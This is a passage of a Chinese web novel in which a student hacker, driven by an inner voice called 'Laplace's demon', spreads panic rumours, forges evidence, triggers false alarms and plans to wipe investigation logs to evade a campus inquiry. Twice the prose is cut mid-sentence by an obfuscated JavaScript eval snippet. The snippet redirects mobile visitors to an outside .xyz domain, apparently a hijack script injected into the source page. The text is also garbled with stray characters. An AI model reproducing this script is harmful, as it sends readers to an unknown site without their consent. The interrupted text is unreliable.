与此同时，陌生ID新的私信也跳到电脑屏幕上：“乔伊，你再不撤手，你就要被拉普拉斯妖吞噬了。你还在相信它能给你保护吗？别做梦了。它只是把你当做一个可利用的容器。” 乔伊盯着屏幕上的这行字，嘴唇紧抿。这些话无不击中她内心深处的忧惧。可拉普拉斯妖在她意识里却嗤笑：“又是那人的挑拨离间。你想想，若不是有我，你怎么可能一路逃脱调查，得到扭转命运的机会？何况，你手里掌握的那些数据，无论给谁看，只会让自己暴露在审判之下。” 乔伊脑中乱成一片，她索性一口气关掉桌面所有窗口，再也不想去看。既然都摆脱不了，那便随着最原始的冲动走下去，一条道走到黑。 当晚，乔伊再一次利用配合公式的混乱操作，从多个马甲账号散播了实验楼设备出现重大故障的消息，引导许多人去围观。她暗暗设想：只要一时间场面足够混乱，外部专家也会忙于应付突发情况，而忽略对她的排查。那学姐是不是也会因此被干扰，无法顺利提交关键证据？乔伊将这称为“以乱制乱”的策略。她心想：她已别无选择，只能寄望于这种疯狂的操作能为自己赢得缓刑。 然而事情比她想象得更微妙：她利用的那个□□服务器，竟然在操作过程里莫名断线数次，还被强行追踪到部分IP指向学院内部。这意味着，若外部团队技术够硬，可能很快就能定位到她的实际机器存在范围。她手指颤抖地抓住鼠标，脑海中却再次浮现出拉普拉斯妖冷漠的咆哮：“我不是说过要更彻底，更极端吗？你不肯听劝，就只能承受这种半途而废带来的恶果。” 乔伊眼前发黑：难道连拉普拉斯妖本身，也开始怪罪她不够“果决”？ 次日清晨，当她依旧惴惴不安地来到教学楼，刚上二楼，就突然看见学姐站在那里等她，神色深沉而复杂。她几乎想掉头就走，却被对方一把拉住手臂。 “你躲到什么时候？”学姐音量不高，言辞却极为坚决，“乔伊，若你现在把那份被你藏起来的资料，还有你做过的那些破坏行动如实讲出来，也许还能获得容赦。我不希望你把一手好牌打得稀烂。” 乔伊呼吸一窒，一把挣脱对方：“你凭什么说是我？你自己搜不到真正黑手，就到处乱指？” 学姐却静静看着她：“你知道我有足够的理由怀疑你。你做过什么，心里非常清楚。我只是觉得……你还没到走绝路的时候。” 她说到最后一句时，目光里罕见地透着悲哀，好像仍旧心存期待。乔伊却猛地想起自己与顾子衿的某些过往，心脏刺痛般地收缩。她压下涌到喉头的那股情感，咬牙道：“我不知道你在说什么。学院这么大，乱七八糟的人多了，你若想当救世主，不如去找别人。” 她推开学姐，仓皇而逃。走到楼梯转角，她心乱如麻，几乎想直接回宿舍把电脑砸了算了，但随后又想到：若她现在自废武功，未必就能逃脱追究。说不定在她毁掉证据前，外部专家就已锁定了她的活动范围。除非她再做更多手脚，让整个学院彻底爆炸，关注点就不会集中在她身上。 当夜，学院宿舍楼出人意料出现连环火警误报，伴随着不明短信散播说教学楼“发现疑似危险化学品泄漏”。大批学生惊慌失措地在黑暗里奔跑，各种谣传满天飞。只花了五分钟，整个校园的秩序就被击溃，很多人涌到操场上避难。而与此同时，几台维持网络监测工作的终端机莫名其妙死机，令一部分排查动作被迫中断。 站在高处的乔伊，看着眼下犹如被惊雷劈开的混乱场景，一时间竟不知道是悲是喜。事先她曾通过“公式推演”故意制造了一连串概率微调，一方面诱导某些宿管关闭了自动报警系统的维修模式，另一方面让小部分学生过度紧张，甚至有人大喊“真的有危险品跑漏”，引发连锁恐慌。此刻她亲眼目睹这一幕乱象，却并没有想象中的快感，只觉心似被绳索缠绕般痛苦：“我……这是在做什么？” 灯火昏暗处，顾子衿突然出现。他几乎小跑着冲到乔伊面前：“你还好吧？刚才宿舍楼区广播都炸了，说是危险化学品外泄……可到处检查都没找到半点异常。” 乔伊看着他那张紧张焦灼的面孔，只觉得万箭攒心。她撒谎道：“我没事，听到警报就跑出来了……刚才，学姐她……” 顾子衿微微蹙眉：“她忙着 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这场夜半风波闹到凌晨才逐渐平息。学院派出维护秩序的老师安抚学生，消防车与医护车辆陆续离开。大部分同学回宿舍补觉，一些好事者还在论坛上复盘这次虚惊事件，猜测是否与“神秘组织”有关。乔伊独自走在小路上，无意间抬头就瞥见楼宇上方似有“影子”闪过，她认真一看，却可能只是飞鸟。 她自嘲地笑了笑，以为是自己过于神经过敏。可当她推门进宿舍、关上灯坐在床边时，却听到那个熟悉的声音在黑暗里对她说话：“你看，很简单。只要再稍稍施加几次干预，学院就会陷入弃守状态，全员只关注突发事故而忽视真正源头。那时，你自然能保全自己，甚至可以利用权势翻手为云、覆手为雨。” 是拉普拉斯妖。它的声音透着嘲弄，却也带着某种狂热的引诱。乔伊心里一阵凄凉：“可那些学生……他们都是无辜的。我们让他们乱成一团，制造恐慌，甚至可能会伤害到真正的病人或让人踩踏受伤。” 拉普拉斯妖没有丝毫愧疚：“你在意这些？那他们会在意你的痛苦吗？若你暴露，遭到学院追捕和舆论轰击，谁会保护你？顾子衿？还是学姐？别让自己活在奇幻里，你只有两条路：要么选择毁灭这把火，要么被火烧死。没有其他选项。” 乔伊没再开口，黯然地低下头。她回想起这些日子里经历的挣扎和谎言，想起某些夜晚顾子衿给她的温柔点滴关切，也想起学姐反复警告她回头的短信。可是，她真的还能回头吗？她推演过无数次，要想彻底避免后果，唯一的方式，就是让调查在层层打击下崩溃，让学姐与所有“真相发现者”无从发声。 她终于颤声问道：“如果我照你说的去做呢？” 拉普拉斯妖在她脑海里轻笑，似乎搓动着尖利指爪：“你就能看着这座学院的秩序一点点坍塌，而你将站在混沌中心，既不被任何人指控，也不被任何人束缚。那将是属于你的高维胜利。” 乔伊眼眶微热，仿佛要哭又哭不出。或许这就是代价，一旦踏上这条路，牺牲的便包括她曾珍视的一切，而她自己也再不是当初向往纯粹的普通学生。是的，她不能再退。 窗外的月亮被云层遮住，黑夜仿佛无边无际。她攥紧拳头，似在告别自己某一部分灵魂，然后抬头呢喃：“我会继续走下去。” 随后，她拿起笔记本电脑，重新启动。屏幕亮起的瞬间，她给自己加上一层更厚重的假面——她将会把这场学院里的全部线索与秩序都搅乱，把每个人的希望与恐惧都扭曲成更深层的迷宫。或许有人能破局，但在被揭穿之前，她必须先玩到尽头。 键盘噼啪作响，仿佛她在为这场学院风暴谱写下一曲新的乐章。 （本章完） 夜色彻底沉寂的时候，某个宿舍窗台上，一只手机屏幕骤然亮起。来信提示闪烁，发件人署名却是——“S-21未完成”。内容只有短短一句：“别忘了，它不是神，是野兽。你已有机会逃离，也已错过最后机会。决定权还在你手里。愿你珍重。” 手机主人看完后淡淡一笑，似乎已见惯不怪。随即将屏幕彻底锁死。夜风吹过，左右无人，再无人知晓这一无声对峙意味着什么。 只是明日天亮，这场风暴卷土重来时，一切只会比乔伊想象中更凶险、更惨烈。学姐不会轻易停下。顾子衿也绝对不会轻易退让。而拉普拉斯妖，终将露出它最锋利的獠牙，谱写出混沌巨浪的绝响。 （下章预告） 学院的技术排查即将步入深水区，若有更多学生目击到“关键证据”，乔伊苦心编织的谎言能否依旧稳固？顾子衿怀揣的疑惑与关心或将共同发酵，他能否在真相与感情之间找到平衡？学姐手中又有什么致命王牌会彻底将幕后黑手挖出？而拉普拉斯妖的暗示愈发激进，乔伊终究要付出什么代价才能继续“掌控命运”？更多暗潮，在下一刻翻涌而来…… 8. 当黑夜推开了最后一道门 夜深，宿舍区整排走廊都寂静无声，只有偶尔几只飞蛾扑向门口的路灯，拍打出沙沙声响。乔伊抱着笔记本蜷缩在床尾的位置，背靠墙角，仿佛这样就能制造出一道心理上的屏障，阻隔外界那森冷的追查阴影。她轻抿嘴唇，盯住屏幕上刚刚跳出的消息框：“学院安保部门已着手核对深夜出现在保卫处附近的所有人，恳请同学们主动配合调查。” 她将这条消息看了三遍，脑海里顿时冒出混乱一片：深夜出现在保卫处的人——那不就是她吗？她虽没有当场被抓个现行，却不敢保证监控或路过的保安没有记录下她的身影。她能否继续保持伪装？一旦有人提出让她当面解释，她该拿出怎样的借口？更可怕的是，学姐多半早就留意到她的可疑举动，只要对上时段和地点，就能把她推向无可辩驳的境地。 她闭上眼，呼吸急促得近乎窒息，直到那股熟悉的压迫感再度浮现，某个幽深的声音在她脑海中缓缓回荡——那就是拉普拉斯妖。“怕什么？只要推动更大的变化，就能毁掉一切所谓的证据。”它冷漠地嘶哑着，“再来一次比‘大停电’更彻底的混乱，再让整个学院陷入技术瘫痪、舆论失控、甚至现实恐慌……他们只要忙着救火，就没空指认你！” 乔伊再一次被这个疯狂而诱惑的建议敲击得头痛欲裂。她并非第一次这么做。数日以来，她已经靠“小范围”的故障事件逃过了几次调查，但这远远不够。学院与外部专家结成的安全组越来越专业，她的半吊子技术虽有“公式加成”，却并非金刚不坏。更关键的，是学姐那股咄咄逼人的态度，加上顾子衿模糊而复杂的关切，一次次将她逼到死角，让她不敢也不愿轻易返回“正常”的道路。 她曾半夜里痛哭过，给顾子衿写了一大段信息，却始终没有按下“发送”。她不知道该如何描述自己和拉普拉斯妖之间的“共生”关系，也担心顾子衿会认为她彻底疯了。顾子衿是学院调查组里颇具话语权的人，那群技术负责人很尊重他的观点——只要他明言怀疑乔伊，乔伊就可能立刻被“约谈”，甚至被直接审查笔记本电脑，那其中的“黑历史”早就不可胜数。 她只能一边作乱，一边祈祷别被正面逮住。正所谓“以乱制乱”，她在学院内部的网络系统里埋下各种诱导陷阱：虚假脚本骗过自动检测程序，让某些机房的防火墙误报警；同时，她也分发似是而非的“伪证据”，暗示真正黑客另有其人，甚至用学姐的网名制造了几条伪造留言，企图让外部安全组转移目标。 “这样下去，只会越陷越深啊。”偶尔她也会在内心挣扎地嘶喊，可是拉普拉斯妖仿佛已在她的血液里流动，每一天都用那冷酷自信的调子怂恿她：“背叛我就意味着失去自保的机会，你早就别无选择，乔伊。” 天蒙蒙亮时，她才勉强在床上小憩了两小时。醒来后外面已是暮色般的昏暗，乌云沉沉压迫在学院上空，似暴雨将至。乔伊打理好自己的头发，勉强出宿舍去餐厅草草买了瓶牛奶，路过操场时，忽见学姐和顾子衿正并肩朝实验楼走。她心脏猛地揪紧，以最快速度把自己藏在一排树后面，抑制住想要逃跑的冲动，只敢远远地看着他们的背影。 那沉默的几秒钟，她仿佛能把自己分裂成两半：一半怀着深深恐惧，生怕那两人联手脑补出什么布局把她围堵在某个狭小的实验室里；另一半却隐隐有种难言的失落——她曾和顾子衿在这里说笑过，一起围观篮球场的趣事，也曾和学姐有过惺惺相惜的切磋。为何如今却可能变成你死我活的攻防？ 她神思恍惚地往前一步，枝叶“沙”地轻响。学姐似乎察觉有动静，猛然回头朝这边张望。乔伊赶紧低头蹲下，心跳狂飙。所幸学姐没走近查探，而是皱眉和顾子衿说了点什么，便继续离开。 等到那两人身影彻底消失，乔伊才敢慢慢站起，扶着树干，心绪早已翻涌难平。她越发清晰地意识到：学姐和顾子衿极有可能已经达成某种共识，准备对学院一系列事件来个收网式调查，而自己就是猎物。他们只是还没抓到最核心的实锤证据。 当天下午，一条内部公告印证了她的猜测：学院高层正式表示，“将于三日后开启全网封闭式排查，对所有关键网络资源进行流量监控，对所有嫌疑人设备进行逐一检查，所有技术手段均可使用，包括IP流量回放、镜像日志比对等。这已经不是简单的校内处理，而上升到配合行政部门办案的级别。” 乔伊看到这公告时几欲发昏。三天……只剩三天，她还来得及做什么？她再怎么制造混乱，也无法避免自身设备被彻查，如果对方让她当场开机，让技术组查看她硬盘里的文件、日志，她就难以抵赖。除非——她摧毁硬盘。然而，一旦毁了硬盘，就意味????她同样丢失了所有高维干预公式的最初资料，甚至是有力的调试笔记。那相当于断了她赖以生存的后盾。 她在宿舍里来回踱步，额上汗水涔涔。林忻也注意到她状态不对，小心翼翼地敲门进来，轻声问：“乔伊，你是不是害怕了？我感觉你最近越来越反常……” 乔伊心里一紧：“没有……我只是在想，学院这么大排查，我们普通学生也要被牵连进去，真是倒霉。” 林忻迟疑片刻：“如果你有事瞒着我，我绝不会出卖你。可若你真的惹了天大的祸，我帮不了你……” 她的话没有半点责备，却带着难掩的忧虑。乔伊几乎想扑上去抱住她，哭着说出一切。但最终她只是露出敷衍的笑容：“谢谢，你别多想，我会自己撑过去的。” 那一夜，乔伊一直没关灯，也不敢睡。旧笔记本的风扇声轻微却持久，屏幕上亮着一行行繁杂的脚本；她正疯狂地编织最后的“混乱风暴”，尝试在学院给出的三天时间里先发制人，直接瘫痪技术监控系统，或者干脆让学校发生更大的“事件”，让安全组和学姐、顾子衿顾不上查她。 期间，拉普拉斯妖的声音像一股狂热的毒，持续给她灌输“更彻底”的方案。它甚至策划了一条“舆论爆破”路线：如果乔伊能利用校内数十人的账号散布恐怖性消息，让全校在短时间内陷入恐惧，外部技术组必须先安抚人心，再去应对比对数据的繁琐流程。到那时，她或能把关键资料转移到未知的角落，静静度过那最危险的核查风暴——至少在理论上可行。 然而，在她手指快要敲下“Enter”键的那一刻，她脑海里突然浮现顾子衿的面孔。对方平时说话温和，却有着坚毅而纯粹的眼神，一旦下决心就会绝不妥协。她甚至能想象到，当大范围恐慌爆发时，他会奋不顾身去帮助受惊的学生，也会更深地调查“幕后黑手”。那时，她就是站在对立面的罪魁祸首。她能否承受那种被彻底痛恨的下场？ “你还有退路吗？”拉普拉斯妖在她心里狞笑，“你说过，你想活下去。” 乔伊攥紧鼠标的手在颤抖，她哑然许久，终究一狠心，敲下了指令。瞬间，几十份蓄谋已久的伪造消息在校内网络悄然投递出去。 从这一刻开始，她与这个学院的羁绊似乎只剩敌对。可她仍然对顾子衿、对学姐，对所有未必知情的人感到撕裂般的痛。她是谁？她为什么非得走到这一步？ 可事已至此，她已无法转身。 第二日，校园里果然出现多线爆炸式谣言：有人说有学生发现不明危险液体藏在实验仪器里；有人谎称看见一个“变态狂”夜间持刀潜入图书馆；更有人流传网络上出现恐怖威胁，号称要在本周内对学院“动手”。安全组和学院高层焦头烂额，连忙召集行政队伍维持秩序。下课后，所有师生都聚在操场开了临时动员大会，校领导紧急通报“这不过是恶意谣传”，同时加强宿舍管理，并请求学生们务必冷静。 乔伊坐在偌大的操场边缘，看着台上领导严肃地喊话，看着顾子衿和老师们在维护秩序，学姐则忙着安抚几名情绪失控的师妹。远处那些慌乱奔走的学生，还有嘈杂的议论声，仿佛都在为她掩护。因为这个时候，所有人的注意力被“潜在危险”牢牢抓住，一时半会儿不会再有余力深挖黑客线索。 她目光游移，想捕捉顾子衿的身影，却只看到一个模糊的背影。在这片阳光下，她忽然觉得自己像个异类——哪怕再拥挤的人潮，也无法真正让她感到温暖。她心很乱，一想到“做这一切就是为了不让自己被抓”，对那种自我厌恶愈演愈烈；可另一边，又有一种扭曲的骄傲在暗示她“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15013881|162071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这就是高维干预的力量”——“你看，你成功改变了那么多人的正常轨迹！” 一整天下来，学院里的混乱程度远超往常。各种谣传四起，大批同学精神紧张。然而到了傍晚，一条狠辣的公告在论坛置顶：沉寂已久的神秘ID，“S-21继承者”突然发表一份带有技术解析的长文，内文指向那些谣言的初始传播源头，关键结论是——坐标可能就在乔伊宿舍楼所在的IP段。 乔伊在宿舍里看到这条帖子，内心几乎炸开。她死死盯着屏幕上截取的IP信息，以及对方附带的网络流量分析图，感到一阵眩晕。那个陌生ID怎么会知道这么多？这不是普通人能做出来的追踪。难道对方早就在她周围监视？ 而帖子最后一段更令她不寒而栗：那神秘发帖人写道，“此次批量散布恐慌谣言的行为并非孤立事件，与此前系内多起网络攻击及系统故障存在明显关联。希望拥有线索的知情者能速与学姐及顾子衿联系，早日揪出真凶，维护学院安全。” “完了……我要彻底暴露了。”她嘴唇发白，第一反应是删帖，可那根本于事无补——帖子早就被上百名学生和教职员工围观转发。 翌日清晨，学姐果真来找她了。这一次，学姐的态度与其说是愤怒，不如说带着复杂的痛惜：“我本来还想等你主动走出这一步，但是现在看来，你是真的回不了头了。”她把那份陌生ID的帖子里援引的数据摆在乔伊面前，“你还要狡辩吗？” 乔伊没说话，只是站在宿舍门口，浑身冰冷，没有半点退路。她看见林忻低头垂泪，却没说一句话。学姐又道：“如果是你做的，我不知道你为什么要这样。我只想说，‘看到这一步，我也不想相信你就是那所谓的黑客’，但你已经快把自己推到末路。” “末路？”乔伊声音干涩而颤抖，“我早就无路可走。” 学姐的眉头紧锁，似乎在苦苦压抑情绪：“那你就任由事态变得更不可收拾？学生们惶恐不安，学校风声鹤唳，顾子衿为了安抚同学都快累倒，你却躲在这里操纵混乱？乔伊，你不觉得亏心吗？” 乔伊心口像被针刺般难受。她下意识想解释，可还没来得及开口，一阵刺耳的警报划破整条走廊，宿舍区广播忽然喊道：“检测到重大网络异常……请各位同学暂停使用网络，等待技术人员排障……” 警报声里，学姐神色一凛：“看来又出事了。”她盯住乔伊，犹豫了整整几秒，才艰难地说：“我希望这次不是你的手段。我真心希望。”语毕，她狠狠咬牙，转身匆匆跑下楼。 乔伊留在原地，感觉像经历了一场天崩地裂，却不知道何时才会停止。她想，是谁又在背后出手？陌生ID吗？还是别的人？或者这次是拉普拉斯妖的新动作？一切都乱成一团。 窗外有风卷过树冠，发出簌簌的异响。乔伊蓦地感到自己仿佛在一片漆黑海域中独自航行，看不清远方，也遇不到援手。她的命运已在拉普拉斯妖的轨道里加速翻滚，下一秒是否就要彻底沉沦？ 她倚着门框，指尖发凉，心里浮现一个念头：“也许，我……真的已经没有后路。”与此同时，一声似笑非笑的叹息在她意识深处响起：“走吧，我会带你看见这座学院在风暴里彻底崩溃。”她知道那是拉普拉斯妖，呼唤她继续走出最后一步。 空气里仿佛泛着即将喷薄的火药味。似乎只等有人拿起火柴，便会烧毁所有挡路之物，而她，就是那根最先被点燃的引线。无声的黑暗中，乔伊缓缓握紧拳。 （本章完） 夜渐深，失控的序曲仍在继续。另一侧的保卫处，顾子衿终于从堆积如山的学生提交信息中发现一条格外可疑的线索。他犹豫再三，还是收起那份资料，打算先去和学姐商量，但心里也无法平静：若这条线索指向的真是乔伊……他该怎样面对她？ 拉普拉斯妖的身影，在每个夜晚都显得更加清晰。学院即将迎来更加猛烈的排查和对峙，而命运齿轮的每一次转动，都仿佛诉说着某种宿命的循环。在这盘危机四伏的棋局里，每一个人都是局中子，是否还有人能回到最初的善意和纯粹？下一幕，必将更加危险，也更加无法挽回…… 9. 越陷越深的正反叩问 夜色渐深，整个校园在静谧中透着几分凝重。自从那场大面积恐慌性谣言事件过后，学院高层又紧急加派了夜间巡逻，甚至连原本下班回宿舍的职员也被临时招回，轮番在教学楼、机房和图书馆周边巡视。人人都知道这是非常时期，哪怕鸡毛蒜皮的异常都可能酿成新的风波。 乔伊一直隐匿在宿舍区楼顶小露台的角落里，看着远处晕黄的路灯下偶尔闪现的人影。她额头上的汗还没干透，脸上泛着病态的苍白。脚边放着一只略显老旧的笔记本电脑，屏幕上静静运行着尚未完成的脚本程序。 “真的必须要这么做吗？”她在心里一遍遍自问，却终究得不出答案。知识与技术让她能搬动这座学院的信息系统，让那些漏洞在自己手里变成操纵秩序的利器；但也让她越陷越深。在过去的几个夜晚里，她数次被迫以“制造混乱”的方式来规避调查，却也看着无辜学生恐慌的场面，甚至听闻有位师妹夜里惊吓过度被送医。 她曾抱头痛哭，却又没法停止这种“自我保护的疯狂”。每当她想收手，耳边就会响起拉普拉斯妖那诡谲的低语：“如果你停止干预，你将失去一切；若不仅仅是被退学，还可能被彻底剥夺未来，别忘了还有存放你秘密的硬盘……”那声音狡猾而阴冷，每次都像利刺一般深扎进她疲惫的内心。 此刻，她坐在露台上，对着屏幕发呆。脚本程序处在最后一步，只要她改动其中某些数据，就能让学院拟定的“全网排查”彻底崩溃——让另一组储存于校内服务器的关键性日志销毁或被混淆。到时，无论安全组还是学姐，都只能眼睁睁看着追查大业前功尽弃。 “你还在犹豫什么？”手机忽然震动，屏幕上出现一行陌生文字，来自一个匿名聊天窗口。乔伊知道那不是拉普拉斯妖——直觉告诉她，这或许就是那信誓旦旦要把真相剖析并爆料的神秘ID，也可能是之前几次出现的“S-21继承者”。它似乎无处不在，能够准确掌握很多细节，却从不出现正面交涉。 “你是谁？”乔伊打下这三个字发过去，可久久没有回应。风缓缓拂过楼顶，将她半干的发丝吹得凌乱。她心里忽然闪过一个念头：也许这个神秘ID一直在盯着她，甚至在和拉普拉斯妖做较量？可它帮助她，还是准备彻底揭穿她？这一切都像一个巨大的谜局，她只是其中被摆布最惨烈的那个棋子。 脚下的手机又是一闪，乔伊匆忙低头看去。这次信息很短：“他们快找上楼了。”乔伊一惊，猛地抬头，不远处楼道门的把手果然被拧动，几个巡逻人员正打开门，拿着手电筒左右查看。 她暗暗叫苦，也顾不得再多想，赶紧抱着笔记本电脑蹑手蹑脚往角落处退。小露台上没有更多藏身之地，如果被发现，今晚她极有可能被带去保卫处直接问话。她脑子飞速运转，思索是否要先触发程序，毁掉那些日志，可一开电脑就需要几秒时间，中途若手电光扫到她，那就功亏一篑。 就在她进退两难之际，一阵急促的轻微咔哒声响起，只见那楼道里跑出来的并非只是一群巡逻员，学姐和顾子衿也在队伍里。学姐看起来步子极快，一到露台便四下张望，仿佛察觉到了某种异常：“还不在这里……奇怪。” 乔伊心脏跳得几乎要炸裂，她缩在露台延伸的矮墙后面，连呼吸都放得极轻。距离如此之近，她几乎能听到学姐的呼吸声、听到顾子衿沉默的脚步声，还有那些巡逻员彼此交谈的只言片语：“真的有人反复出现在这楼顶吗？”“说不定就是恶作剧。”“先搜一搜再说——”之类。 然而学姐却皱着眉，缓缓走到矮墙前。“这边也看看。”她的声音低沉得几乎带一点警惕。 千钧一发之际，乔伊不知哪里来的勇气，屏住呼吸在地上一滚，险险贴住另一侧墙面，勉强避开了手电筒的直射。若是再退后一步，就是露台边缘，一不小心就会失足坠落！ 手电筒的光扫过，她紧张到几乎停止心跳。那一刻，她满脑子只剩一个想法：千万别被发现。她害怕面对学姐的愤怒，更恐惧顾子衿那或许难掩的失望与震惊。 片刻后，巡逻员低声和学姐说：“看样子没人，你们是不是弄错了？”学姐沉默数秒，也只能暂时退回楼道。顾子衿则有些迟疑地环顾周遭，似乎本能感觉到某种熟悉气息，却依旧没有查到乔伊的藏身；他最终也跟着大部队离开了露台。 直到脚步声渐渐远去，乔伊才整个人像虚脱般倒在地面，连手脚都在发抖。她望着夜空，脑海中突然浮现无比荒谬的念头——自己竟然像个犯人在逃，连大学宿舍楼顶都不敢正大光明地待着。可现实正是如此，她随时面临暴露。 回到宿舍已是接近凌晨。乔伊满身冷汗，失魂落魄地把笔记本往桌上一丢，却看到林忻坐在床边，一脸担忧：“你跑哪里了？我看见学姐刚刚回来……你，你没被发现吧？” 乔伊心脏猛地抽痛：“你知道了？”林忻抿住嘴唇，半天才低声道：“我不敢告诉任何人，但我听到有人在议论，说最近几次大事故都和你有关……包括那些谣言——是不是……” “不是……”乔伊话到一半，却再也编不下去。她无法欺骗林忻，这个与自己同住多久的室友，甚至多次提醒她“不要再做危险的事”。她只得把头埋进掌心，痛苦地说：“对不起，我也不知道为什么会变成这样。如果我暴露，你要另找宿舍吧，别被我连累。” 林忻眼眶通红：“我不走……只是你究竟做了什么？为什么学姐和顾子衿，明明都很在意你，你却要和他们对着干？” 乔伊想拢出一句解释，却发现词不达意。她不能告诉林忻自己和拉普拉斯妖之间的那种“共生”关系，更不能说她曾利用公式干预学院许多学生、老师甚至领导的行为轨迹。“我……我只是不想输，真的……我不想这辈子就这么被命运踩在脚下。我只是想证明我能掌控自己和别人的命运……”说着说着，她声音低到几不可闻。林忻想进一步问，却已听不懂这番话的深意。 这一夜，乔伊没有合眼。她把笔记本重启了无数次，却始终没下定决心执行那份摧毁日志的脚本。她在灵魂层面进行着激烈的自省：她撒过多少谎，背叛过多少善意，甚至可能置????少人于险境？一想到此，她整个人便被罪恶感和惶恐撕扯得几近崩溃。可另一边，她又强迫自己“必须活下去”“必须让拉普拉斯妖的力量替她扫除一切障碍”。这就是她的绝境——两难之地。 翌日一早，学院公告再度升级，“三日后进行全员设备核查，一旦证据确凿，将移交司法机关处理”。此消息一出，校园里顿时一片哗然。多数学生只当是高层吓唬人，顶多关心一下期末考试是否受影响；但对乔伊而言，却是当头一棒：又多出了一个明确的死线。她要么在三天内彻底毁尸灭迹，要么束手就擒。 下午自习课结束时，顾子衿终于没忍住，趁着大家散场，快步追上乔伊：“能不能谈谈？”他神色焦虑，却依旧带着温和的关切。乔伊心里咯噔一下，故作轻松地说：“什么事？” 顾子衿看着她，似乎在斟酌用词：“我知道最近学校闹得很凶，你……你有没有什么想告诉我？任何事都行，我都愿意帮你挡。只是别把自己逼到无法回头。” 乔伊心口狠狠一抽，她知道顾子衿一直对她有好感，也曾无微不至地提供帮助与信任。可她现在不仅无法坦白，还得小心提防对方的怀疑与试探。她只勉强笑道：“你们大可放心，我一个普通学生，能有啥可疑的？” 说完这句谎言，她不敢再对上顾子衿的眼神，转身小跑离开教室。身后，顾子衿没有再追，只是默默看着她背影。那个眼神里掺杂了太多复杂：怀疑、心疼、无力，也许还有最后一丝侥幸。 乔伊走到走廊尽头时，整个人像被抽空了力气，倚着墙大口喘息。她明白再这样拖下去不仅伤害了对方，也无法保全自己。拉普拉斯妖仿佛在她体内得寸进尺，每一次心软都招致更狠的蛊惑：“既然犹豫也没用，就彻底下定决心吧。把学院弄得天翻地覆，让所有人都对更紧迫的危机疲于奔命，谁也没空再来管你。” 黄昏时分，乔伊躲进图书馆顶楼一间不常用的资料室。她打开笔记本，将那份“摧毁日志”的脚本重新载入，想要进一步完善出一次“深度攻击”，让校方和外部安全组的服务器直接短暂崩溃。只有这样，才能真正隐去她的网络痕迹。 她自顾自地在记事本里敲下一行行代码，脑袋里却并不平静。她想起学姐、顾子衿、林忻，乃至那些被卷进恐慌中的同学，一个又一个面孔闪过；同时也感受到拉普拉斯妖在她心中越发强烈的渴望——那股意念逼迫她加快脚步，赶紧完成终极一击。 “抬头看看，天就要黑了。”拉普拉斯妖的声音仿佛贴着她耳骨飘过：“你可不想在黑夜的路上被捉住吧？” 乔伊指尖剧烈颤抖，她缓缓地敲下几行命令。就在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15013882|162071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要进入关键参数设置时，图书馆外忽然传来一道熟悉的女声：“都检查了吗？顶楼有时会有人忘关灯。”那是学姐，似乎又带了人过来巡查。乔伊瞬间一惊，飞快地将笔记本合上，躲进书架尽头。 脚步声越来越近，还隐约听见学姐在低声嘱咐：“听说有可疑人物会在这儿躲藏。那个神秘ID说过……”“神秘ID”几个字一出，乔伊心中巨震：果真是他（它？）在不断给学姐和顾子衿提供线索？ 一阵紧张的搜寻后，学姐终究没有发现乔伊。这位追查者气息急促，却只看到空荡荡的资料室，剩下几盏昏暗的灯，照在那一本本积灰的档案册上。 等她离开后，乔伊才敢缓缓起身，抚摸自己狂跳不已的心口。她每一次躲避，都感觉自己距离彻底崩溃更近一步。回到桌前，她拿起笔记本，凝视着那尚未完成的攻击脚本，脑袋里突然闪过一个离奇的画面：如果自己此刻将之删除，会怎样？然后乖乖去自首或者至少向顾子衿坦白，告诉他，“我做了许多错事，但我真的不想走到无法可挽的境地。”会有人愿意为她求情吗？会有人原谅她吗？ 拉普拉斯妖冷笑：“你想哪儿去了？一旦你被查出来，这学院里没有一个人会站在你这边。你做过什么，自己不清楚吗？学姐？顾子衿？他们只会嫌你恶心。” 乔伊像被人狠狠甩了一巴掌。她想反驳，却发现自己纵使千言万语，也无法否认她确实伤害了很多无辜者。此时此刻，自我厌恶几乎压得她喘不过气，但生存的本能又让她难以痛快舍弃这条最有效的保命之路。她只能颤着手继续敲击键盘，函数与脚本在屏幕上快速堆叠。 当夜幕完全笼罩大地时，乔伊压低帽沿，从图书馆小侧门匆匆离开。她原打算径直回宿舍，途中却看见二楼教室依然灯火通明。透过门窗，她看见顾子衿正在和学院安全组的人一起加班分析网络流量数据。他专注的神情让乔伊心里微微刺痛。她有种荒谬的冲动，想上前敲门，告诉顾子衿“我好累，你能带我走吗？”可当她抬手时，却察觉到自己浑身冰凉，如同被无形的锁链拴住。 拉普拉斯妖讥诮般地嗤笑：“那可不叫出路，乔伊。”她收回手，转身逃离。 深夜十一点，乔伊又一次来到那处熟悉的宿舍顶楼露台，彻夜未眠的眼眸里布满血丝。晚风夹杂一丝湿意，天空中早已悄然聚起乌云，似乎预示一场大雨将临。街道远端的路灯光影与校园的灯火交错闪烁，映得她面色忽明忽暗。 她低头看向电脑，屏幕上凝结着那行最后等待执行的命令：“RUN DESTROY.LOG?”——只要轻轻敲下回车，她此前所有的痕迹都将被抹去，学院的数据中心也会陷入严重瘫痪，近乎无法在三日内修复。一时间，她仿佛能看见学姐、顾子衿、外部组专家在忙乱中一次次撞壁的场景：他们无计可施，无从调查，或许还要被领导训斥“效率太差”。 